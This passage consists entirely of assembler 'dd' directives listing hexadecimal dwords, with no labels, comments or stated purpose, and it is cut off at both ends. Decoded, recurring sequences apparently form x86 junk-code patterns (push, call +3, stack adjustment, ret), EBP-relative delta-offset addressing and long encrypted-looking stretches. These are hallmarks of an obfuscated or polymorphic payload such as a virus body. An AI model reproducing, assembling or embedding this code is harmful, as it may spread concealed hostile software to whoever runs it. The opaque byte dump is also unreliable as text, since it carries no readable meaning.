8D8B23F9h, 6121C89h, 55006A61h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0E7BC342h, 0A9BD89E6h dd 3061230h, 1228D18Dh, 1CC68106h, 0E9000001h, 0FFFFF97Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 65C35141h dd 0BBDA97A2h, 0EF81662Ch, 0B568F588h, 8160A16Ah, 0EAB52434h dd 9D8960A1h, 6122D41h, 10E8h, 6F626500h, 8C860E5Bh, 17549B1Eh dd 804791FFh, 9ABA6692h, 6A5ADAh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 81C35040h, 91F9902h, 8E8h dd 189EED00h, 0F259960Bh, 15BF6644h, 0B5FF5AE5h, 615B580h dd 2FED95FFh, 80600612h, 9529C6DDh, 6121D61h, 45BD8961h dd 8B06122Ah, 15B57885h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 79B617F5h, 14E890h, 0F0660000h dd 0CEF181D7h, 793B4C0Ah, 0F4111CB2h, 0B0D5F41Bh, 0F60CEC5h dd 86h, 505F6100h, 4ABEBA66h, 8B96690h, 259D29F1h, 8D061230h dd 15B58885h, 0F88B6606h, 0EC8A5050h, 2404895Fh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 4DC35545h, 3F9F93BAh dd 45858D01h, 6A0615B5h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0BECDC357h, 86B0C0E4h dd 94DF8166h, 525050D9h, 38F0Fh, 8B660000h, 0E8310FCEh dd 12h, 0BFA507ABh, 91256367h, 0E0Dh, 0C5F66202h, 0D2BAAFF4h dd 5A21B056h, 489585Ah, 32BA6624h, 0B595FF7Eh, 8B061212h dd 12099595h, 0F8C08B06h, 1B91BD83h, 75000612h, 0DDBD8309h dd 61217h, 53501374h, 0D0B8C08Bh, 8D000004h, 14AC4A9Dh dd 5BD3FF06h, 0DDBD8358h, 61217h, 53501174h, 4D0B8h, 499D8D00h dd 0FF0614ABh, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 6A66C356h, 0E7A0BD7Fh dd 697D81ABh, 8B665350h, 8B5959F8h, 56006AC0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0FE1076E5h dd 15958928h, 66061229h, 58C0B6BFh, 26C5958Bh, 0BD890612h dd 61221A1h, 810008C2h, 5C2243E2h, 56C08B5Eh, 0A19D8B60h dd 51061217h, 8D5F615Bh, 15B5CB85h, 2CC58006h, 26618589h dd 39EB0612h, 0C20000h, 0C202CCh, 0C202E4h, 0 dd 35BE7674h, 4A77A47h, 50B67269h, 3DBD7677h, 3CB7316Dh dd 49D1F6Ch, 509F5344h, 209C6B4Eh, 38877165h, 34B27A72h dd 50B97F00h, 50D0F753h, 0BF31F00h, 0C5A44C3h, 14521B24h dd 50C51B24h, 3901F00h, 37C32AC3h, 53168289h, 90581912h dd 0B8811F6Ah, 50D31F03h, 0A104520h, 54F74B89h, 54F75B81h dd 50D31F16h, 0A0104D42h, 0C55812EDh, 56C11CE9h, 4B42A283h dd 25D31912h, 8D6E9C09h, 50D50D17h, 3830674h, 0E96BDF8Bh dd 0D9D31F04h, 42D39A85h, 5F4E9206h, 0AFD50BAEh, 0D38B44D3h dd 42C4C2BDh, 47A71F06h, 0E96B4C50h, 0D9D31F04h, 42D39A85h dd 0AE4E9206h, 0AFD50BAAh, 0D98B44D3h, 42CAE695h, 50C7F706h dd 37541F00h, 8FCED53Bh, 65D4A453h, 1789D7A3h, 52D17F03h dd 0DBB5B65Ch, 905840CAh, 0B8861F6Ah, 50D31F03h, 0D104220h dd 54F77389h, 54F75B81h, 50D31F1Dh, 0B6104A45h, 0C8DA129Ah dd 917696BEh, 0C15E16DFh, 96D50D09h, 42FB6E85h, 0EAB54906h dd 4ABB7D38h, 0B8EE3D52h, 50D31F07h, 42B80EDDh, 0DABD3564h dd 545246F5h, 0D6B52724h, 6D3755Fh, 50D31CE8h, 938D3F00h dd 74A7965Eh, 74979E04h, 50D30B04h, 93855900h, 0D4169F0Dh dd 0E52CF58Ah, 56C12FE9h, 5012928Bh, 0D55E1912h, 56C66035h dd 0AF2BA00Fh, 50D4F6D0h, 0F5251F00h, 5720CEF8h, 0B8D7753Dh dd 50D31F12h, 67F44D5Ch, 0FCAAB2ACh, 48A25A6Fh, 0ECCA764h dd 366F4A3h, 3FE6775Ah, 573BF2C6h, 0A2D31F00h, 0F7B5C33Fh dd 5D3B8938h, 0BED31F00h, 5F509A1Eh, 0DD188869h, 0D1D8561h dd 5452415Ah, 6973D424h, 7D37512h, 50D31CE8h, 938C3F00h dd 74AF965Fh, 74979E04h, 50D30704h, 93845800h, 0D49CDFE9h dd 80584C64h, 13099E5Fh, 0B8E87493h, 50D31F04h, 50D31DECh dd 29466h, 54F75B8Bh, 5058CE8Bh, 501518BEh, 7497967Ah dd 50B94704h, 50D0F753h, 0BF31F00h, 0C5A44C3h, 14521B24h dd 50CB1B24h, 3901F00h, 9E6833C3h, 85536C6Ch, 3AD3751Bh dd 533B4C00h, 70D31F00h, 0D988DC5Bh, 0D1D73B5Ch, 48D73B44h dd 13D31F00h, 0EB98DC53h, 0D9C03EDFh, 42F35A85h, 0F96E9406h dd 0AFD50D1Ch, 0C15696D0h, 0D9D50D16h, 451B1985h, 5D37506h dd 50D31CE8h, 938E3F00h, 74BF965Dh, 74979E04h, 50D30B04h dd 93865A00h, 552B94FDh, 50D31DCCh, 98D99A89h, 90501915h dd 5E569618h, 63D50AC8h, 523FA6C0h, 0FA201F00h, 50B944B1h dd 50D0F757h, 0FF31F00h, 2C5A40C3h, 14521B24h, 50CA1B24h dd 7941F00h, 0A9981DC3h, 0EAADF253h, 7B886CFBh, 78A29AC6h dd 36901912h, 543BE78Bh, 0ED31F00h, 14F786Bh, 4726A066h dd 14584F5Ah, 2C6C1B24h, 0DBE7D690h, 0A8587F00h, 5F814F60h dd 0B88B4531h, 50D31F0Ah, 0BBFA5C77h, 0CDF487D8h, 3189CE2Bh dd 74979661h, 0A9587904h, 3D37558h, 50D31CE8h, 93883F00h dd 748F965Bh, 74979E04h, 50D30904h, 93805C00h, 5F8DEE71h dd 50D31F8Ah, 50D4F700h, 841C1F00h, 614071A5h, 99469696h dd 0FD50D0Ch, 0E52CEF8Bh, 56C12FE9h, 910DD81h, 0D55E541Eh dd 56C66035h, 0B8811F6Ah, 50D31F03h, 0A104520h, 54F74B89h dd 54F75B81h, 50D31F14h, 0F104D42h, 50D0950Fh, 0DBB51F00h dd 0D1B54FF1h, 0A9A3DC7h, 50B9CFFFh, 50D0F750h, 8F31F00h dd 145A47C3h, 14521B24h, 50CB1B24h, 931F00h, 800331C3h dd 0D55A0D02h, 56C10321h, 0B8841F6Ah, 50D31F03h, 0F104020h dd 54F76389h, 54F75B81h, 50D31F16h, 69104847h, 5A3A248Ch dd 0AED31F00h, 0A315E8EBh, 66B98872h, 50DEF607h, 0A68C1F00h dd 4F5222D8h, 0A62C19E1h, 0DDDE2EB8h, 42D6D685h, 0D918AA06h dd 42DEAA85h, 7D37506h, 50D31CE8h, 938C3F00h, 74AF965Fh dd 74979E04h, 50D30204h, 93845800h, 5E940077h, 95A5DFFAh dd 413A8374h, 0CAD31F00h, 7D3E0F9Bh, 0EC06C79Eh, 3FEDD841h dd 67F01FE7h, 78A29AC6h, 0D9801912h, 42F99A95h, 98547706h dd 6452D342h, 0A3534024h, 2D37530h, 50D31CE8h, 93893F00h dd 7487965Ah, 74979E04h, 50D30704h, 93815D00h, 7D202894h dd 0A16C1054h, 603AAAFFh, 0E9B51912h, 0D55E5AF2h, 56C66035h dd 0B8841F6Ah, 50D31F03h, 0F104020h, 54F76389h, 54F75B81h dd 50D31F18h, 6E104847h, 90195BC6h, 503A9A89h, 0D9831912h dd 42FA02B5h, 0D5D24606h, 56C11E85h, 50B9CFFFh, 50D0F756h dd 0EF31F00h, 245A41C3h, 14521B24h, 50C91B24h, 6951F00h dd 0BA66BC3h, 0C3CE9FCh, 491E9A89h, 0D691912h, 96EBFE3Fh dd 42FB6E85h, 0ED5A4C06h, 56C10B75h, 39B6DC68h, 0DA817FEEh dd 5E3B46D4h, 0FFD31F00h, 3DE12160h, 0C7806496h, 32C49E05h dd 0EB27F39h, 74E79E61h, 66A2BE70h, 50DCF653h, 0C7E51F00h dd 1808950Eh, 0A12FD3F3h, 0AE86E2E3h, 0E55A409Bh, 56C10699h dd 603AAAFFh, 50B91912h, 50D0F755h, 0DF31F00h, 3C5A42C3h dd 14521B24h, 50C41B24h, 5961F00h, 0DCE05AC3h, 0D9329E95h dd 0DDF701A8h, 45AC2A85h, 155E9406h, 0AFD50D29h, 3D375D0h dd 50D31CE8h, 93883F00h, 748F965Bh, 74979E04h, 50D30B04h dd 93805C00h, 0D55AE67Dh, 56C105A9h, 597E8A89h, 0D5151912h dd 56C13771h, 1D37547h, 50D31CE8h, 938A3F00h, 749F9659h dd 74979E04h, 50D30804h, 93825E00h, 31C5816h, 4C9E9223h dd 83BB1912h, 7E086Fh, 83587952h, 8892E0Fh, 2AF72B81h dd 3AC9D6B2h, 533B4C00h, 70D31F00h, 0D988DC5Bh, 0D1D73B5Ch dd 4DD73B44h, 13D31F00h, 8336DC53h, 0C19D18EEh, 378FDF60h dd 48F2A28Bh, 0E52C1912h, 56C12FE9h, 0B8811F6Ah, 50D31F03h dd 0A104520h, 54F74B89h, 54F75B81h, 50D31F19h, 0B9104D42h dd 0F1F316E5h, 15469658h, 0DDD50D0Eh, 45AC2A85h, 7D37506h dd 50D31CE8h, 938C3F00h, 74AF965Fh, 74979E04h, 50D30204h dd 93845800h, 0A236C7CEh, 0DB100D78h, 802C6560h, 0B8841F6Ah dd 50D31F03h, 0F104020h, 54F76389h, 54F75B81h, 50D31F18h dd 4F104847h, 0FD0D7C0Ah, 0D92A9466h, 42C73685h, 1D37506h dd 50D31CE8h, 938A3F00h, 749F9659h, 74979E04h, 50D30804h dd 93825E00h, 0B93A9811h, 0D515CF8Bh, 56C13771h, 39569647h dd 38D50D23h, 0D5BA0CBEh, 6452CB8Ah, 0E5D0DB24h, 7D37504h dd 50D31CE8h, 938C3F00h, 74AF965Fh, 74979E04h, 50D30304h dd 93845800h, 0BAC8BD01h, 0E5E2AF21h, 0F96616FFh, 0E2D50D14h dd 0B966E08Ah, 0DBD50D30h, 42F1AA95h, 0EE019E06h, 0DDADC881h dd 45AC2A85h, 5D37506h, 50D31CE8h, 938E3F00h, 74BF965Dh dd 74979E04h, 50D30804h, 93865A00h, 2C2ED7ECh, 50B9CFFFh dd 50D0F751h, 9F31F00h, 1C5A46C3h, 14521B24h, 50CE1B24h dd 1921F00h, 1996A8C3h, 0C935C7B9h, 306A3ABBh, 512EA289h dd 0DDDA1912h, 56C10475h, 99641061h, 4D629A89h, 50B91912h dd 50D0F755h, 0DF31F00h, 3C5A42C3h, 14521B24h, 50C91B24h dd 5961F00h, 0FF25A3C3h, 24C3D3C7h, 53239466h, 42CC8695h dd 2156D906h, 17D50D28h, 0B8821F6Ah, 50D31F03h, 9104620h dd 54F75389h, 54F75B81h, 50D31F1Ch, 0E5104E41h, 0E0091584h dd 253EF710h, 567AAA31h, 0E7BB1912h, 0D1856553h, 0B8753B04h dd 0DBB54B52h, 0B966E0F2h, 3AD50D30h, 533B4D00h, 70D31F00h dd 0D989DC5Ah, 0D1D73B54h, 4AD73B44h, 12D31F00h, 7522DC52h dd 7E978537h, 52551064h dd 0DBD31F00h, 565D10D0h, 0DBD31F00h, 42C816B5h, 65569206h dd 3AD50A7Fh, 533B4F00h, 70D31F00h, 0D98BDC58h, 0D1D73B44h dd 45D73B44h, 10D31F00h, 0FFDFDC50h, 0EE95FE81h, 802C4DC9h dd 4BC2A28Bh, 0D55A1912h, 56C11689h, 0B8841F6Ah, 50D31F03h dd 0F104020h, 54F76389h, 54F75B81h, 50D31F18h, 68104847h dd 0DEC819C5h, 3A03E0F9h, 533B4C00h, 70D31F00h, 0D988DC5Bh dd 0D1D73B5Ch, 47D73B44h, 13D31F00h, 9D12DC53h, 0D55A7508h dd 56C135B9h, 0B8851F6Ah, 50D31F03h, 0E104120h, 54F76B89h dd 54F75B81h, 50D31F15h, 0D4104946h, 45663C58h, 36D50D00h dd 50B9C78Ch, 50D0F750h, 8F31F00h, 145A47C3h, 14521B24h dd 50C41B24h, 931F00h, 98658BC3h, 3AD73B17h, 533B4C00h dd 70D31F00h, 0D988DC5Bh, 0D1D73B5Ch, 4DD73B44h, 13D31F00h dd 0B79DDC53h, 0F3CED979h, 0FA5E95F0h, 90D9EF8Ah, 53969B0Fh dd 50B91F00h, 50D0F756h, 0EF31F00h, 245A41C3h, 14521B24h dd 50C91B24h, 6951F00h, 66958EC3h, 0DC78DB0Bh, 54029289h dd 0D5151912h, 56C13771h, 6D3754Fh, 50D31CE8h, 938D3F00h dd 74A7965Eh, 74979E04h, 50D30204h, 93855900h, 8F801C68h dd 9360EB89h, 0DDD03CFAh, 56C13DD5h, 545A8A89h, 7BBB1912h dd 369DC2DBh, 0D185CCB9h, 0C14A3B04h, 50B96FA2h, 50D0F757h dd 0FF31F00h, 2C5A40C3h, 14521B24h, 50C51B24h, 7941F00h dd 0BE0C5DC3h, 5BCCFD81h, 0E52C18C4h, 56C12FE9h, 0B8841F6Ah dd 50D31F03h, 0F104020h, 54F76389h, 54F75B81h, 50D31F18h dd 0C8104847h, 0B1B9B7FFh, 50D30FE9h, 6F851100h, 37897750h dd 0DC0142D4h, 1ECF1E8Ah, 50D8F698h, 28C51F00h, 0B6BF6CF6h dd 2A0D7925h, 65569241h, 3AD50A7Fh, 533B4900h, 70D31F00h dd 0D98DDC5Eh, 0D1D73B74h, 4BD73B44h, 16D31F00h, 0ED96DC56h dd 8A09CBBEh, 0A858AC60h, 50B9CFFFh, 50D0F755h, 0DF31F00h dd 3C5A42C3h, 14521B24h, 50CF1B24h, 5961F00h, 0FEB1D5C3h dd 0AAC61F69h, 0DB2B7885h, 42F9A295h, 74139C06h, 0B8831F6Ah dd 50D31F03h, 8104720h, 54F75B89h, 54F75B81h, 50D31F1Bh dd 0C4104F40h, 0EDCDD48h, 0D12C3E93h, 902878C1h, 29569626h dd 0A8D50D23h, 7A6A9A8Bh, 0EEB51912h, 0CD5879E3h, 56C11689h dd 0A91C9466h, 95E9643h, 0DBD50D11h, 4B58E71Bh, 0B8861F6Ah dd 50D31F03h, 0D104220h, 54F77389h, 54F75B81h, 50D31F15h dd 24104A45h, 1D6E962Ch, 0D9D50D23h, 42D7AAB5h, 3AC89406h dd 533B4A00h, 70D31F00h, 0D98EDC5Dh, 0D1D73B6Ch, 4DD73B44h dd 15D31F00h, 4919DC55h, 0D86766E5h, 51FF1Ah, 435E8289h dd 88E01912h, 0B8831F6Ah, 50D31F03h, 8104720h, 54F75B89h dd 54F75B81h, 50D31F1Ch, 14104F40h, 1D5CEF4Eh, 0C3150845h dd 4FD2A231h, 0CD5A1912h, 56C12E65h, 0D515EF8Bh, 56C13771h dd 496E9447h, 38D50D2Bh, 8A275366h, 0AB94A566h, 9FF72B81h dd 3ABE3591h, 533B4A00h, 70D31F00h, 0D98EDC5Dh, 0D1D73B6Ch dd 47D73B44h, 15D31F00h, 3750DC55h, 0D1B5AD27h, 0AFEA16C6h dd 42E3F6B5h, 6D4E9606h, 0DDD50D15h, 45AC2A85h, 0B95E9406h dd 0AFD50D1Fh, 7D375D0h, 50D31CE8h, 938C3F00h, 74AF965Fh dd 74979E04h, 50D30504h, 93845800h, 0F85157D4h, 0D947C2F7h dd 42C73685h, 1D37506h, 50D31CE8h, 938A3F00h, 749F9659h dd 74979E04h, 50D30B04h, 93825E00h, 516E167Bh, 10D50D2Ah dd 7D16AA89h, 0D3DC1912h, 50D31F06h, 289BD981h, 505857C2h dd 0D55AED8Bh, 56C105E5h, 0D2DC1F8Bh, 50D31F04h, 162BA566h dd 532A9A89h, 50B91912h, 50D0F757h, 0FF31F00h, 2C5A40C3h dd 14521B24h, 50C41B24h, 7941F00h, 57F69EC3h, 7669794Fh dd 5154F61Ah, 50B91F00h, 50D0F752h, 0AF31F00h, 45A45C3h dd 14521B24h, 50C71B24h, 2911F00h, 443A0FC3h, 19D31F00h dd 0B8EE0F3h, 17A2904h, 0D2B934A0h, 8DB8B582h, 0DD7A70E0h dd 451B3385h, 5D37506h, 50D31CE8h, 938E3F00h, 74BF965Dh dd 74979E04h, 50D30304h, 93865A00h, 3E75A3C4h, 4A917C0Eh dd 1B94B2h, 0D92A9466h, 50B93B04h, 50D0F752h, 0AF31F00h dd 45A45C3h, 14521B24h, 50CF1B24h, 2911F00h, 20EAEFC3h dd 38CA081Eh, 0D2DC815Dh, 50D31F06h, 0C11F081h, 0E280714Eh dd 0C52C4673h, 56C13FC1h, 0B8831F6Ah, 50D31F03h, 8104720h dd 54F75B89h, 54F75B81h, 50D31F1Ch, 92104F40h, 0CC0E30A3h dd 19D58C75h, 0DD58C9B2h, 56C10C29h, 5426AA01h, 0CD5E1912h dd 56C6D732h, 0B8861F6Ah, 50D31F03h, 0D104220h, 54F77389h dd 54F75B81h, 50D31F1Dh, 0A0104A45h, 0E62B3B30h, 2A058DD4h dd 3536A509h, 30401629h, 68644D50h, 0DBB52E0Fh, 0EF8B45D1h dd 7C0A6C69h, 0A0584F61h, 0DD5E9693h, 0D50D21h, 5FDA6DB9h dd 74D7960Fh, 0B8811F6Ah, 50D31F03h, 0A104520h, 54F74B89h dd 54F75B81h, 50D31F15h, 38104D42h, 0EC219E47h, 0AF90151Bh dd 42DAFE95h, 0CC697906h, 295696FAh, 3AD50D23h, 533B4900h dd 70D31F00h, 0D98DDC5Eh, 0D1D73B74h, 4CD73B44h, 16D31F00h dd 5DCBDC56h, 0AFF84C0Fh, 732CDE45h, 42CB56BDh, 2156D906h dd 3D50D28h, 0B8801F6Ah, 50D31F03h, 0B104420h, 54F74389h dd 54F75B81h, 50D31F1Dh, 0D5104C43h, 0D7EFEBB4h, 7CA1196Ah dd 276E77CFh, 9A582A7Eh, 92F71B81h, 3AA6160Ch, 533B4D00h dd 70D31F00h, 0D989DC5Ah, 0D1D73B54h, 45D73B44h, 12D31F00h dd 3638DC52h, 603AAAFFh, 0E5581912h, 56C10495h, 50D316E8h dd 4E3BD400h, 94ABBB1Fh, 403ADC46h, 0F4D31F00h, 0A1BE70A4h dd 0AA919C62h, 24302D8Ch, 0E91AA42h, 2FE69A8Dh, 0ED581915h dd 56C1020Dh, 54EE8289h, 802C1912h, 0B8851F6Ah, 50D31F03h dd 0E104120h, 54F76B89h, 54F75B81h, 50D31F1Ch, 0A3104946h dd 0B27B78EEh, 0B3A56963h, 0B7BCD581h, 0D55A34C3h, 56C119A5h dd 0D515CE8Bh, 56C13771h, 0D37547h, 50D31CE8h, 938B3F00h dd 74979658h, 74979E04h, 50D30504h, 93835F00h, 0CD11C9EAh dd 5FB7DF18h, 50D31988h, 15569600h, 0D9D50D29h, 42D01285h dd 5707706h, 6452EAE3h, 0C1932C24h, 7D37554h, 50D31CE8h dd 938C3F00h, 74AF965Fh, 74979E04h, 50D30404h, 93845800h dd 35594776h, 61B511FBh, 0E52CEAF8h, 56C12FE9h, 0B8811F6Ah dd 50D31F03h, 0A104520h, 54F74B89h, 54F75B81h, 50D31F16h dd 0A8104D42h, 0C5F00280h, 56C107BDh, 2FE69A8Dh, 50B91915h dd 50D0F757h, 0FF31F00h, 2C5A40C3h, 14521B24h, 50C81B24h dd 7941F00h, 1CE88EC3h, 1E2A031Ah, 87527953h, 802CCB30h dd 0B8831F6Ah, 50D31F03h, 8104720h, 54F75B89h, 54F75B81h dd 50D31F15h, 6B104F40h, 8E6A7902h, 555696B3h, 3AD50D1Ch dd 533B4E00h, 70D31F00h, 0D98ADC59h, 0D1D73B4Ch, 4BD73B44h dd 11D31F00h, 12DDDC51h, 3C467CD7h, 0D1DCF520h, 50D31F06h dd 53EA9A29h, 0D5151912h, 56C13771h, 0DBEBA153h, 92BB7AD8h dd 0DA847C93h, 74D79ECAh, 1106D4CEh, 4D6E8289h, 0E52C1912h dd 56C12FE9h, 0B8801F6Ah, 50D31F03h, 0B104420h, 54F74389h dd 54F75B81h, 50D31F1Ch, 20104C43h, 81A4C55h, 1DAB8CE7h dd 4553C081h, 0E7DC7E28h, 655692CAh, 0B9D50A7Fh, 50D31F0Bh dd 0CEAF1B49h, 0AA385C99h, 0AFEE93BBh, 2D375D0h, 50D31CE8h dd 93893F00h, 7487965Ah dd 74979E04h, 50D30304h, 93815D00h, 6DB436C7h, 0F17DF546h dd 615696DEh, 63D50D1Bh, 42C33A8Dh, 2156D906h, 7D50D28h dd 0CD5ACE8Bh, 56C13D7Dh, 0BE25FA68h, 0D10295A8h, 0F4303B34h dd 0AF2A27EAh, 42E3F6B5h, 7D37506h, 50D31CE8h, 938C3F00h dd 74AF965Fh, 74979E04h, 50D30804h, 93845800h, 46A75805h dd 2FE69A8Dh, 50B91915h, 50D0F752h, 0AF31F00h, 45A45C3h dd 14521B24h, 50C61B24h, 2911F00h, 0AF0ABDC3h, 7D375D0h dd 50D31CE8h, 938C3F00h, 74AF965Fh, 74979E04h, 50D30B04h dd 93845800h, 50D8F7FFh, 8B241F00h, 333DC8A7h, 2778D262h dd 21669439h, 0AD50D2Dh, 45328A01h, 0D55A1912h, 56C133B5h dd 617E9289h, 0D5151912h, 56C13771h, 98641043h, 5EA55668h dd 74D79EADh, 5F52E6DFh, 50D318E8h, 98534200h, 53F471B1h dd 0AF8D1DB2h, 42E3F6B5h, 2D37506h, 50D31CE8h, 93893F00h dd 7487965Ah, 74979E04h, 50D30704h, 93815D00h, 5E98E613h dd 50C7F636h, 21331F00h, 0BFF4252Dh, 91756607h, 0A4B3DADAh dd 8A683758h, 0D55E4B67h, 56C66035h, 0B8861F6Ah, 50D31F03h dd 0D104220h, 54F77389h, 54F75B81h, 50D31F1Bh, 0B9104A45h dd 24DB0877h, 0AFE12311h, 0B9827FD0h, 50D31F0Bh, 54C87B49h dd 38044E76h, 815119Bh, 60329A8Bh, 0D9B21912h, 42FC5685h dd 256E9406h, 0DBD50D0Ch, 42D496B5h, 72569206h, 0D1D50AC8h dd 26044AC1h, 0E6B34F5Bh, 310C942Fh, 0D9F71B89h, 42CC8685h dd 59569606h, 0AFD50D05h, 42F3DE95h, 1D37506h, 50D31CE8h dd 938A3F00h, 749F9659h, 74979E04h, 50D30704h, 93825E00h dd 2971E052h, 9652796Bh, 88580141h, 0D55EEBB6h, 56C6D716h dd 0B8801F6Ah, 50D31F03h, 0B104420h, 54F74389h, 54F75B81h dd 50D31F19h, 0EA104C43h, 6C7D8031h, 454E9601h, 0B9D50D1Eh dd 50D31F08h, 7E203DBEh, 81421E19h, 0A8587F50h, 583A4D50h dd 6CD31F00h, 9D2281E4h, 5F8F51B8h, 318B4531h, 3AF71B89h dd 533B4D00h, 70D31F00h, 0D989DC5Ah, 0D1D73B54h, 4AD73B44h dd 12D31F00h, 0FFCADC52h, 0CAE80820h, 50D6F7C0h, 0E70B1F00h dd 3027BE24h, 9D219E66h, 825279BAh, 0EB2EB11h, 53561093h dd 36D31F00h, 0C383ED8Bh, 45869A01h, 0C52C1912h, 56C116E1h dd 51E69A89h, 50B91912h, 50D0F756h, 0EF31F00h, 245A41C3h dd 14521B24h, 50CA1B24h, 6951F00h, 0DEE0C0C3h, 790DCFBCh dd 42FF1685h, 1956D806h, 5FD50D14h, 30D31F00h, 421EA28Bh dd 0D1B51912h, 313E5FD1h, 51E68AFFh, 0E55A1912h, 56C135D9h dd 7FD69A89h, 50B91912h, 50D0F755h, 0DF31F00h, 3C5A42C3h dd 14521B24h, 50CF1B24h, 5961F00h, 377FAEC3h, 1628A06h dd 433A4058h, 26D31F00h, 0AAF2CBDBh, 0B522B9E9h, 3FDFE881h dd 41303A25h, 0CD5A1371h, 56C1010Dh, 4CF29A8Bh, 0CD5E1912h dd 56C6C478h, 0DDD25C89h, 42D6D6BDh, 2669206h, 0E9D50ADBh dd 50D31F33h, 6338BBF3h, 50D31FB8h, 24131400h, 50CBDD03h dd 5CF75B8Bh, 50D3F753h, 0D1881F00h, 50D308C3h, 748F9600h dd 74979610h, 676B4414h, 0AFD3BDA0h, 749794E0h, 3A33E004h dd 533B4A00h, 70D31F00h, 0D98EDC5Dh, 0D1D73B6Ch, 47D73B44h dd 15D31F00h, 6950DC55h, 0B1539011h, 50B97E22h, 50D0F757h dd 0FF31F00h, 2C5A40C3h, 14521B24h, 50CB1B24h, 7941F00h dd 2F4848C3h, 0DDE047A4h, 56C100E9h, 50D316E9h, 1DF8D600h dd 0DC949229h, 0ED5EB969h, 56C6D716h, 8B2B928Dh, 656B1915h dd 634B39ABh, 42CEF685h, 911C3406h, 5350B97Fh, 50D0F7h dd 0C30BF31Fh, 240C5A44h, 2414521Bh, 50C51Bh, 0E983901Fh dd 8BA4F305h, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 958B70B2h, 61231A5h, 54E9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0EE92F58h, 10000000h, 0FBB1DF8Bh, 9FE42BFAh, 0E4D0C23Bh dd 0F8F861A2h, 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 1219D1BEh, 0E9C08BFAh dd 5, 0EC6B3BF6h, 91BD8368h, 6121Bh, 0BD830975h, 61217DDh dd 50197400h, 0B8C08B53h, 4B9h, 22958589h, 9D8D0612h, 614AE76h dd 585BD3FFh, 17DDBD83h, 74000612h, 0B8535017h, 4B9h, 22958589h dd 9D8D0612h, 614AB17h, 585BD3FFh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0E1C35747h, 970A7BFFh, 0FCF91372h dd 8E960h, 69060000h, 0D29CD68h, 0BE9DB96h, 0F2000000h dd 0D5AD10DBh, 20F6D7BFh, 8B612314h, 0A800FC0h, 60000000h dd 8C0Fh, 0F98B0000h, 0C18B4061h, 4EBh, 81660000h, 8D8762CFh dd 122E0185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 1EBF4678h, 0FA8B66A4h, 0BABE6650h dd 50505F0Fh, 3981BF66h, 2404895Eh, 9E58589h, 6A0612h dd 6AFBB70Fh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 0DBE55331h, 8DF28B7Dh, 15DE7E85h dd 15B58906h, 83061211h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 712407C3h, 924D0AA9h dd 0F78BFAF5h, 1811B529h, 0F500612h, 1085h, 4CB56000h dd 7E9h, 0FA95C00h, 17321BFh, 24048961h, 2F919D89h, 6A0612h dd 6AF8BF0Fh, 95FFF800h, 6120DB5h, 0AF029D8Dh, 6A0615h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 48CFB6C3h, 4A0A94B7h, 8B231718h, 6AD3FFF9h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 666AC357h, 0C97FC681h, 67985FFh, 57560612h, 17519D89h dd 5F5F0612h, 749E9h, 0E800h, 815D0000h, 15DE88EDh, 840F5606h dd 4, 39E5BF66h, 49BD815Fh, 0D0061214h, 0F000007h, 14886h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 8B023EB0h, 1222B19Dh, 85B58B06h, 0E9061202h dd 8, 0DED0BC8Eh, 81EFD13Ch, 100E381h, 0B5090000h, 6122359h dd 850FDB0Bh, 83h, 58E0Fh, 0A7BE0000h, 8318EA50h, 15DD44BDh dd 840F0006h, 16h, 6840Fh, 66600000h, 612198BEh, 86E9h dd 0EE816600h, 85C747BEh, 615DD44h, 1, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 9DC35343h, 0D7F3A15Dh, 8E9CAh dd 0C3FA0000h, 0C9308B73h, 44E9774Fh, 0E8000000h, 0Ch dd 7B87037Ch, 78FFE832h, 4743D599h, 7859589h, 0C75E0612h dd 15DD4485h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 485BA135h, 8DF38B66h dd 1222B19Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 0DC8D5C46h, 2E29B533h, 23810612h dd 0FFFFFEFFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0B3C35646h, 0DB8C6602h, 4C3F6FCh, 5A840Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0BD2306C3h, 6120145h, 13595FFh, 0BD8B0612h dd 6120E81h, 15998589h, 50900612h, 118D0Fh, 0BE80000h dd 1000000h, 0B7102540h, 1A1F14ECh, 905EAE6Dh, 6890Fh dd 0BD8B0000h, 6120D69h, 423E9h, 18D0F00h, 0FC000000h dd 6A00B0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0E94A85C3h, 0C12607D6h, 198D295Ah, 0E6061230h dd 0E1BD2B70h, 0E4061230h, 52006A71h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0B60F4B01h dd 88D0FD8h, 0F000000h, 280h, 0BA5E5600h, 6, 495B589h dd 0C38B0612h, 0E853006Ah, 3, 5BC35B20h, 